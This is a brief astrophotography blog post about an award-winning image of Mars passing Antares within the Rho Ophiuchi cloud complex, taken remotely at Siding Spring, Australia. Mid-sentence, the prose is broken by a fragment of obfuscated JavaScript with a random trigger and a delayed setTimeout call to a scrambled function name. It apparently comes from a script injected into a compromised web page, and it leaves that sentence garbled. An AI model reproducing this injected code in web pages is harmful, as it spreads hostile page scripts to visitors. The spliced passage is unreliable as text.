BBC Sky at Night Winner

Astronomy Picture of the Day & Winner of the Hotshots competition (November issue of BBC Sky at Night).

Mars & Rho Ophiuchi

Some weeks before the Red Planet passed Antares in Scorpius, I planned to take a shot of this constellation. I knew Mars would be very low above the horizon from my site in Germany. Therefore, I prepared a short script with all camera settings (exp, filter, guiding, sequences) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and made a reservation at a southern remote observatory at Siding Spring in the Astronomy Capital of Australia (Coonabarabran). By the way: the astrophotographer David Malin had been working at the UK Schmidt Telescope more than 35 years ago.

When Mars passed Antares, the weather in Coonabarabran was very cloudy. Most of the time the remote observatory's roof was closed. But the evening of the 26th of August the weather was good enough to take multiple L-RGB sequences of Mars nested in the Rho Ophiuchi cloud complex.

I couldn't wait to see the captured raw data of this session. The wide field of the CCD images clearly showed a bright glowing Mars passing the colorful region of the Red Planet’s anti-Mars, Antares.

This event would definitely have had a place in the movie "The Return of Mars" if I were still working on it:  www.space-movie.com

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